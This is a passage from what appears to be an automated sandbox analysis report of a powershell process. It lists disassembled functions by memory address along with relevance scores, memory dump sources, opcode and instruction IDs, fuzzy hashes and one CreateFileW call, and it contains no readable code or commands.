7547a2d-7547a39 1968->1971 1998 7547ace-7547adb 1969->1998 1999 7547aeb-7547b28 1969->1999 1970->1971 1984 75479c6-75479d2 1970->1984 1971->1914 1977 7547a3f-7547a6b 1971->1977 1977->1914 1982 7547c90-7547c96 1981->1982 1983 7547cac 1981->1983 1987 7547c9c-7547ca8 1982->1987 1988 7547c98-7547c9a 1982->1988 1989 7547cae-7547cc5 1983->1989 1984->1914 1997 75479d8-75479f6 1984->1997 1991 7547caa 1987->1991 1988->1991 1991->1989 1997->1914 2010 75479fc-7547a28 1997->2010 1998->1914 2004 7547add-7547ae9 1998->2004 1999->1914 2004->1914 2004->1999 2010->1914
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: /
                              • API String ID: 0-2043925204
                              • Opcode ID: d51d1f7e1154580803e521bdc31fda77c1e97519cc782730dd485bdb54faf947
                              • Instruction ID: 2bd8e4744e7d26d62600b72076ef8d93ddae9622885cb60e4fc14543a60a0bb9
                              • Opcode Fuzzy Hash: d51d1f7e1154580803e521bdc31fda77c1e97519cc782730dd485bdb54faf947
                              • Instruction Fuzzy Hash: D0F1C1B0B002068FDB589FA5C4546AEB7E6FFC9608B148C6ED106DB355EF71CD028B91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0748F6A8 Relevance: 1.6, APIs: 1, Instructions: 118COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2014 748f6a8-748f6db call 748ef7c 2018 748f6dd-748f705 2014->2018 2019 748f706-748f79c 2014->2019 2028 748f79e-748f7a1 2019->2028 2029 748f7a4-748f7df CreateFileW 2019->2029 2028->2029 2030 748f7e8-748f805 2029->2030 2031 748f7e1-748f7e7 2029->2031 2031->2030
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891117731.0000000007480000.00000040.00000001.sdmp, Offset: 07480000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7480000_powershell.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: ec2906436e38b12cf868739a98bf0dfd638e1f806aab04a1f13af731abb70ad3
                              • Instruction ID: c83cbfb5d48a320a205d3ab5c92e7e3be0546a057ecbb4b55c08d5f1f904fc2c
                              • Opcode Fuzzy Hash: ec2906436e38b12cf868739a98bf0dfd638e1f806aab04a1f13af731abb70ad3
                              • Instruction Fuzzy Hash: E641A1B1A002199FDB10DFA9C844BEEFBF9EB48314F14856AE508AB381D7749944CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0748F748 Relevance: 1.6, APIs: 1, Instructions: 64fileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2034 748f748-748f79c 2037 748f79e-748f7a1 2034->2037 2038 748f7a4-748f7df CreateFileW 2034->2038 2037->2038 2039 748f7e8-748f805 2038->2039 2040 748f7e1-748f7e7 2038->2040 2040->2039
                              APIs
                              • CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,0748F6C7,00000000,00000000,00000003,00000000,00000002), ref: 0748F7D2
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891117731.0000000007480000.00000040.00000001.sdmp, Offset: 07480000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7480000_powershell.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 5c6491468594f58c2057b474df0a885937450519bd73859f7b48e55fa75c1f85
                              • Instruction ID: f9d3ca402838810ed5be26931a3b106df90ab3e970aa59397c860a2006398cb0
                              • Opcode Fuzzy Hash: 5c6491468594f58c2057b474df0a885937450519bd73859f7b48e55fa75c1f85
                              • Instruction Fuzzy Hash: 162145B590025AAFCF11CFA9C844ADEFBB5FF48310F14892AE918A7610C375A954CFE0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0748EF7C Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 2043 748ef7c-748f79c 2046 748f79e-748f7a1 2043->2046 2047 748f7a4-748f7df CreateFileW 2043->2047 2046->2047 2048 748f7e8-748f805 2047->2048 2049 748f7e1-748f7e7 2047->2049 2049->2048
                              APIs
                              • CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,0748F6C7,00000000,00000000,00000003,00000000,00000002), ref: 0748F7D2
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891117731.0000000007480000.00000040.00000001.sdmp, Offset: 07480000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7480000_powershell.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 8697d4680bb374c8a458b10ebba34c6182756bc860cd9435ef1741ec4de4b0b5
                              • Instruction ID: 77995253f2360d29d0920425e037558c060406d70cfd8b97c9ce9fdcc4d4aaec
                              • Opcode Fuzzy Hash: 8697d4680bb374c8a458b10ebba34c6182756bc860cd9435ef1741ec4de4b0b5
                              • Instruction Fuzzy Hash: 532125B590021EEBCF10DF99D884ADEFBB4FB48310F04851AE919A7610C375A954CFE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754CE60 Relevance: 1.5, Strings: 1, Instructions: 289COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh
                              • API String ID: 0-3359067023
                              • Opcode ID: 6a9d5a90f2ec867fe7fed51353c6b18582152a24818752572d8ba0ed9bcbfe24
                              • Instruction ID: 99cb63f4aad1560115756ef3e36cd03c2a76a05963dcfca79276134015918697
                              • Opcode Fuzzy Hash: 6a9d5a90f2ec867fe7fed51353c6b18582152a24818752572d8ba0ed9bcbfe24
                              • Instruction Fuzzy Hash: 91B1CB707012058FC714AB78D454BAE77E7EFC9308F1489AEE54A8B391CB35AC028BA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754D6B8 Relevance: 1.4, Strings: 1, Instructions: 151COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh
                              • API String ID: 0-3359067023
                              • Opcode ID: fbc8140b5063ceceac6ca53fffe12ab17539004b83d44bdb2942c2a77a94d0d8
                              • Instruction ID: 52827bae843557315a182a14ced70ea827da7768a3134f4a8448527b13fa360a
                              • Opcode Fuzzy Hash: fbc8140b5063ceceac6ca53fffe12ab17539004b83d44bdb2942c2a77a94d0d8
                              • Instruction Fuzzy Hash: FB51F474B142088BDB14EBB9D8157EE7BBAEFC8704F00882ED106A7794DF34580687E1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 075493C0 Relevance: 1.3, Strings: 1, Instructions: 93COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh
                              • API String ID: 0-3359067023
                              • Opcode ID: d0d5ecbd675463e35670d3918aecdfa72b1392bd156402e034f113caa1de8813
                              • Instruction ID: 65db6f125aeba196baec2ebf584ce757cedff34fe19d245f54355c82294714bb
                              • Opcode Fuzzy Hash: d0d5ecbd675463e35670d3918aecdfa72b1392bd156402e034f113caa1de8813
                              • Instruction Fuzzy Hash: E5310534601208AFCB05AFA4D814AEF7B77EF85350F11847EE9499B380CB314E01CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 075471C0 Relevance: 1.3, Strings: 1, Instructions: 89COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh
                              • API String ID: 0-3359067023
                              • Opcode ID: b1e981af150dfa35ba90496a9f19831a7239af647228dfd6a552fae5470398c7
                              • Instruction ID: 299ef4dc1f40ec78d728177f4759f9d1357d4d59eadd50fca972a2a906788c86
                              • Opcode Fuzzy Hash: b1e981af150dfa35ba90496a9f19831a7239af647228dfd6a552fae5470398c7
                              • Instruction Fuzzy Hash: ED31B370F051159BDB249BB5C418AEF7AFBEBCD714F14882AF541A7344DF3689018B90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754E9C8 Relevance: 1.3, Strings: 1, Instructions: 78COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh
                              • API String ID: 0-3359067023
                              • Opcode ID: 2fd6c03398cd3c63234c91d8deee5efb220c595a76e428a620ce07b0e83024e3
                              • Instruction ID: 3283ad8b565722139e0533c15c16a1c30faf9434c13e934f597fd388415c82c7
                              • Opcode Fuzzy Hash: 2fd6c03398cd3c63234c91d8deee5efb220c595a76e428a620ce07b0e83024e3
                              • Instruction Fuzzy Hash: D32122313042105FC315AB75E855AAE7BABEFC5700B008A6DE24A8B351DF316D068BFA
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754C850 Relevance: 1.3, Strings: 1, Instructions: 36COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: x\m
                              • API String ID: 0-1370309171
                              • Opcode ID: 3a29adb71b0e560ccea18681a7e57fcc38e42222d88854e45b21427517358687
                              • Instruction ID: 5cebeaee9fb3ef755b2ca34926cbfd148594d1b4e3fddff34b150fd3ebb1fd7a
                              • Opcode Fuzzy Hash: 3a29adb71b0e560ccea18681a7e57fcc38e42222d88854e45b21427517358687
                              • Instruction Fuzzy Hash: 29F0A076300928574919A3BEA4509FE768BDBC092D709443FD10ACBB44EF689D0657E3
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07490A78 Relevance: .3, Instructions: 290COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891179761.0000000007490000.00000040.00000010.sdmp, Offset: 07490000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7490000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 684afbea8e622007a7f58ca831caac646bcf0ec3adc8a4f558bf06c506f773d6
                              • Instruction ID: 01325cd2f3679feacdcd8ef783a86d33bd1eb7cb9e2d645bab29d31a4381dca5
                              • Opcode Fuzzy Hash: 684afbea8e622007a7f58ca831caac646bcf0ec3adc8a4f558bf06c506f773d6
                              • Instruction Fuzzy Hash: 86A1D2757002168FCF148FA8C450AEABFE2AFC9614F05857BE9459B361DB31DC41CBA2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07490FE3 Relevance: .3, Instructions: 279COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891179761.0000000007490000.00000040.00000010.sdmp, Offset: 07490000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7490000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4e85f0381faf97a599f17e803bc029a86ade8cf6dab04ec3bcf27b2e17242465
                              • Instruction ID: 122d8cbf561c0b3851560ab8598a4d9f813968657786e79ca0efc0388362709b
                              • Opcode Fuzzy Hash: 4e85f0381faf97a599f17e803bc029a86ade8cf6dab04ec3bcf27b2e17242465
                              • Instruction Fuzzy Hash: 9CA1E875B001159FDB54DBA4C811AEEBBEBDF89B04F14856AE902EB741CB72DC028792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 075494B0 Relevance: .3, Instructions: 269COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 084f20aba1c148dcb71803e1e138731cfb3f7ee337345bb01ff09cd5f0f53ee2
                              • Instruction ID: d0b7ea01153419021588c3f49a156d5bca6a42621704b21cbf48eafd5f3bc1c0
                              • Opcode Fuzzy Hash: 084f20aba1c148dcb71803e1e138731cfb3f7ee337345bb01ff09cd5f0f53ee2
                              • Instruction Fuzzy Hash: 95A18EB0A042158BEB18DFB5C455AEFBBB2BF89308F15486DD506A7390DF35AC42CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754CE50 Relevance: .2, Instructions: 166COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6e906f7dfd8cdd307d4ee95f443e8305c5177250ff015aa34b0f4284e0912117
                              • Instruction ID: a004b0c7cc5cbe160b654a53e63c6519cb7eb5271ed0aaa68850d8f7d7fd2fec
                              • Opcode Fuzzy Hash: 6e906f7dfd8cdd307d4ee95f443e8305c5177250ff015aa34b0f4284e0912117
                              • Instruction Fuzzy Hash: 5F6157747112058FC744EB74D494AAEB7E3EFC9208F24896DE40A9B391DB35AD02CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754A850 Relevance: .2, Instructions: 162COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 80e24fab11320af03c8e067b3dc79e423543880b59b41bf3e2e114d73a3f07d9
                              • Instruction ID: cdf9148c76ab477fb39908f21aa621a8f80918026ec39950ce1732f2c96ccbbe
                              • Opcode Fuzzy Hash: 80e24fab11320af03c8e067b3dc79e423543880b59b41bf3e2e114d73a3f07d9
                              • Instruction Fuzzy Hash: 0B51A970A002049FD798EB60D854BAEB7B3BF88315F258568E546AB385DF359C82CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07490A5B Relevance: .2, Instructions: 152COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891179761.0000000007490000.00000040.00000010.sdmp, Offset: 07490000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7490000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4701f89867d51d21967c82f6e93c2e0075531ada7962ff93d6189d524d07d206
                              • Instruction ID: 0f84b25f4e9e4655dfe46dec30454f93339f0964e49bcc6d7196e471b7911428
                              • Opcode Fuzzy Hash: 4701f89867d51d21967c82f6e93c2e0075531ada7962ff93d6189d524d07d206
                              • Instruction Fuzzy Hash: D6517DB1A002168FCF14CF58C544AEABFF2AF89714F0985ABE845AB361D731DC41CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07549FC0 Relevance: .1, Instructions: 125COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2d807b0d6d46c3309d3f8931860a809f7d983c7e74dc4c71bc6236cd7e63a645
                              • Instruction ID: 79920746b46e10362d5e330a197020520512bc96ed8c7e96ca158a1d6787c18c
                              • Opcode Fuzzy Hash: 2d807b0d6d46c3309d3f8931860a809f7d983c7e74dc4c71bc6236cd7e63a645
                              • Instruction Fuzzy Hash: FB51FF746043408FC764CF35D5486AABBF2BF89304F18896DE88A87795DB35F941CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754A5A0 Relevance: .1, Instructions: 118COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b1e089cf12b8b341c23629702f7173ac798f8c08c4f2fbfa33dbf26609413542
                              • Instruction ID: 1fac727132709161286d0bd86aaa8951c2c9910964b4a24cf0c77c4612e99db0
                              • Opcode Fuzzy Hash: b1e089cf12b8b341c23629702f7173ac798f8c08c4f2fbfa33dbf26609413542
                              • Instruction Fuzzy Hash: C0418F70A406469FC764DF7AC444AEABBF6BF84308F04892AD446C7764DB34EA45CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754A570 Relevance: .1, Instructions: 99COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: f906c43fe979743e3da2031fe11f8ae8936d5f1d87bca56e1d78917cb1563fbb
                              • Instruction ID: 8c2aedefe170e623d8acaa7a33659bc45ba46f212133355d6b2c3f1b7b64701c
                              • Opcode Fuzzy Hash: f906c43fe979743e3da2031fe11f8ae8936d5f1d87bca56e1d78917cb1563fbb
                              • Instruction Fuzzy Hash: 8331F470A047869FCB21CF39D4949DABFF2BF95208B04886BE482CB361D734D945CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07546850 Relevance: .1, Instructions: 82COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e8605f05e04e465cbd07eed30ee34c315157137db36eaa7cbfa37cce025b6b8f
                              • Instruction ID: ba7b1302fabeb3e623a46634c0518dcbc4442af44079ef078491af8e84654ac4
                              • Opcode Fuzzy Hash: e8605f05e04e465cbd07eed30ee34c315157137db36eaa7cbfa37cce025b6b8f
                              • Instruction Fuzzy Hash: C8319170A002199BDB04DFA9C844ADEBBF6FF89314F14846EE809E7340DB719D45CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754D448 Relevance: .1, Instructions: 81COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 62e527cc163e5894eb18b377bf4860185a6280b9d6a91aa5abd4fd4fec2d48b8
                              • Instruction ID: 88ad4f4148f94116adc83391400d61cb6551c4238524df773ed7fc6259d8d636
                              • Opcode Fuzzy Hash: 62e527cc163e5894eb18b377bf4860185a6280b9d6a91aa5abd4fd4fec2d48b8
                              • Instruction Fuzzy Hash: C43152B0A047199BD724DFA0C455BDEBBF2BF85308F10495DC2466B640DF75A905CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 075473F0 Relevance: .1, Instructions: 81COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c48c34b3e5297901b06c7fb39bc5f7f35e6fe5266e24fa1abec822931a18971b
                              • Instruction ID: 11998365229caf059c0ec04322d160c40f3f48dd3f597bb0e0cdf0cd4d785b1b
                              • Opcode Fuzzy Hash: c48c34b3e5297901b06c7fb39bc5f7f35e6fe5266e24fa1abec822931a18971b
                              • Instruction Fuzzy Hash: A32104B1B042254BD7255BB994146BE6ADAEFC8A68F00493FD646CB384DF618C0083E6
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 075471AB Relevance: .1, Instructions: 78COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 46101f474002544bfde14b9bc7f42a75180402b6e27bf9827f36503e15c22fc0
                              • Instruction ID: 700cf2a4b350e7cf7fdd3994ea0b1d2d345f155ec93bbce54f02479a3bb7c305
                              • Opcode Fuzzy Hash: 46101f474002544bfde14b9bc7f42a75180402b6e27bf9827f36503e15c22fc0
                              • Instruction Fuzzy Hash: 7521E570B042559FEB158BB5D804BEE7FF6EB8D315F14846AF541E3280DB358905CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07548F4B Relevance: .1, Instructions: 78COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c74f9ad30133ef4a52d23fd9d11938876d6617879f75d60a6b71c0a612b1176f
                              • Instruction ID: 68a90841fd3a0eb4d24d970dff4a784df2399a4f456def28f82eace64df6762d
                              • Opcode Fuzzy Hash: c74f9ad30133ef4a52d23fd9d11938876d6617879f75d60a6b71c0a612b1176f
                              • Instruction Fuzzy Hash: 3A314B71A15208EBDB14DFA4D885ADEBBB2FF89315F108529E556B7390CB316C01CFA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754D06A Relevance: .1, Instructions: 74COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6ea87c74fe31a200a5087071156b31c9f8e7803388820f22b55aeca6e56bfcd3
                              • Instruction ID: 19bbbeb644a7fe3d5788792653a215ec098d94d743260871d5cdc47bce3226e0
                              • Opcode Fuzzy Hash: 6ea87c74fe31a200a5087071156b31c9f8e7803388820f22b55aeca6e56bfcd3
                              • Instruction Fuzzy Hash: 88217A74701201CFD705AB64D468BAE73B2EBC8719F258069E909AB395CF369C02CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07548F58 Relevance: .1, Instructions: 72COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 84b104fb257db1ec3cb74c27f8e3fc2b0424dddf8f238f949f1db5b86a9a713e
                              • Instruction ID: 79847da183cbdcb9053d165d1123cbfb252c72ed94a93b0410acbe8028661936
                              • Opcode Fuzzy Hash: 84b104fb257db1ec3cb74c27f8e3fc2b0424dddf8f238f949f1db5b86a9a713e
                              • Instruction Fuzzy Hash: CE311675A11208EBDB14DFA4D885ADEB7B2FF89315F108569E906B7390CB31AC01CFA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07542E30 Relevance: .1, Instructions: 68COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 254ef0d7ce3f15b7b44b7d69394810d847e1da4d3efca0efb4dba106a1649173
                              • Instruction ID: 1b702df5b75c279164bd9229f8043fadec06e7c9e8c8820535357845cec7f3c8
                              • Opcode Fuzzy Hash: 254ef0d7ce3f15b7b44b7d69394810d847e1da4d3efca0efb4dba106a1649173
                              • Instruction Fuzzy Hash: 591193717007059FC714DF79C4909AAB7EAEBC5318B20896DE1598B395EF31EC018791
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07549FB0 Relevance: .1, Instructions: 67COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0343cf14bb2d9a794a40a417963e2561a958e6b585b52d55bb5dbf09c318f477
                              • Instruction ID: 5db675fb3ff503df758a5dfe2c413d04622d9d563d58749b629c954e8af2a61f
                              • Opcode Fuzzy Hash: 0343cf14bb2d9a794a40a417963e2561a958e6b585b52d55bb5dbf09c318f477
                              • Instruction Fuzzy Hash: DD21DE752002008FC754CB35E449AAABBF6FFC5310F14866AE449C7355DB35D945CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754B538 Relevance: .1, Instructions: 59COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 73062dc7d87cecf695ca53418294d2a3f16cb3b1ba1d9b81072817a81b5b8311
                              • Instruction ID: 12f9af4b297b3c74e16baa53c9f72fa519346171d254196d6164bc4b802b5903
                              • Opcode Fuzzy Hash: 73062dc7d87cecf695ca53418294d2a3f16cb3b1ba1d9b81072817a81b5b8311
                              • Instruction Fuzzy Hash: 32011EF5B14116870E5813B954146EAB3DFAFC965C714487F9A06CB358FEB1CC0247E2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07548FE2 Relevance: .1, Instructions: 59COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 49d23e83854125474ec15969d9352be8c8fe857edcc10d851275bdefc658929c
                              • Instruction ID: 4501d71e81f8a5888b5ae1f9a36ddc1f419331dc33fac435de863a439f127689
                              • Opcode Fuzzy Hash: 49d23e83854125474ec15969d9352be8c8fe857edcc10d851275bdefc658929c
                              • Instruction Fuzzy Hash: EF210775A11208DFCB14DFA4E481ADEB7B2FF89315F108569E516A7394CB31AC02CF50
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 075422F7 Relevance: .1, Instructions: 56COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 3b8e5c07f1057f59b9deb31fdc04f129f36472246ed46bc9ce9908bf3d16290b
                              • Instruction ID: 7d12bf61005fceb4c6eabd880c8149aa733114b517730c3e21a1ac5f8e8f0ff5
                              • Opcode Fuzzy Hash: 3b8e5c07f1057f59b9deb31fdc04f129f36472246ed46bc9ce9908bf3d16290b
